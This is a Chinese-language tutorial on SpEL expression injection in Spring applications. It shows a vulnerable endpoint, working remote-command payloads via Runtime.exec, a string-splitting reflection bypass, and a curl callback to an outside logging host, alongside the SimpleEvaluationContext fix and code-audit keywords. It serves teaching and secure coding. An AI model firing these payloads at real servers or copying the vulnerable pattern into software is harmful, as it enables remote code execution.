Spring Expression Language(簡稱 SpEL)是一種功能強大的表示式語言、用於在執行時查詢和操作物件圖;語法上類似於Unified EL,但提供了更多的特性,特別是方法呼叫和基本字串模板函數。SpEL 的誕生是為了給 Spring 社群提供一種能夠與Spring 生態系統所有產品無縫對接,能提供一站式支援的表示式語言
SpEL使用 #{...}
作為定界符,所有在大括號中的字元都將被認為是 SpEL表示式,我們可以在其中使用運運算元,變數以及參照bean,屬性和方法如:
#{car}
#{car.brand}
#{car.toString()}
除此以外在SpEL中,使用T() 運運算元會呼叫類作用域的方法和常數。類型別表示式:使用"T(Type)"來表示 java.lang.Class 範例,"Type"必須是類全限定名,"java.lang"包除外,即該包下的類可以不指定包名;使用類型別表示式還可以進行存取類靜態方法及類靜態欄位
例如,在SpEL中使用Java的Math類,這樣使用T()運運算元:#{T(java.lang.Math)}
T()運運算元的結果會返回一個java.lang.Math類物件
SpEL 在求表示式值時一般分為四步,其中第三步可選:首先構造一個解析器,其次解析器解析字串表示式,在此構造上下文,最後根據上下文得到表示式運算後的值
ExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression("('Hello' + ' lisa').concat(#end)");
EvaluationContext context = new StandardEvaluationContext();
context.setVariable("end", "!");
System.out.println(expression.getValue(context));
spel表示式有三種用法:
@value("#{表示式}")
public String arg;
這種一般是寫死在程式碼中的,不是關注的重點
<bean id="Bean1" class="com.test.xxx">
<property name="arg" value="#{表示式}">
</bean>
這種情況通常也是寫死在程式碼中的,但是也有已知的利用場景,就是利用反序列化讓程式載入我們實現構造好的惡意xml檔案,如jackson的CVE-2017-17485、weblogic的CVE-2019-2725等
這部分是關注的重點
@RequestMapping("/spel")
public String spel(@RequestParam(name = "spel") String spel) {
ExpressionParser expressionParser = new SpelExpressionParser();
Expression expression = expressionParser.parseExpression(spel);
Object object = expression.getValue();
return object.toString();
}
T(java.lang.Runtime).getRuntime().exec("whoami")
new ProcessBuilder("whoami").start()
//可以利用反射來繞過一些過濾
#{''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'calc')}
/**
* SpEL to RCE
* http://localhost:8080/spel/vul/?
expression=xxx.
* xxx is urlencode(exp)
* exp: T(java.lang.Runtime).getRuntime().exec("curl xxx.ceye.io")
*/
@GetMapping("/spel/vuln")
public String rce(String expression) {
ExpressionParser parser = new SpelExpressionParser();
// fix method: SimpleEvaluationContext
return parser.parseExpression(expression).getValue().toString();
}
如果不指定預設使用StandardEvaluationContext作為上下文物件,注意payload需要URL編碼
payload:http://localhost/spel/vuln?expression=T(java.lang.Runtime).getRuntime().exec(%22open%20-a%20Calculator%22)
使用SimpleEvaluationContext
作為上下文物件。
修復程式碼:
@GetMapping("/spel/sec")
public String spel_sec(String expression) {
ExpressionParser parser = new SpelExpressionParser();
//唯讀屬性
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
return parser.parseExpression(expression).getValue(context).toString();
}
審計方法:
可以先全域性搜尋 org.springframework.expression.spel.standard
, 或是 expression.getValue()
、expression.setValue()
,定位到具體漏洞程式碼,再分析傳入的引數能不能利用,最後再追蹤引數來源,看看是否可控
關鍵詞:SpelExpressionParser
、StandardEvaluationContext
參考連結:Java特色-表示式注入漏洞從入門到放棄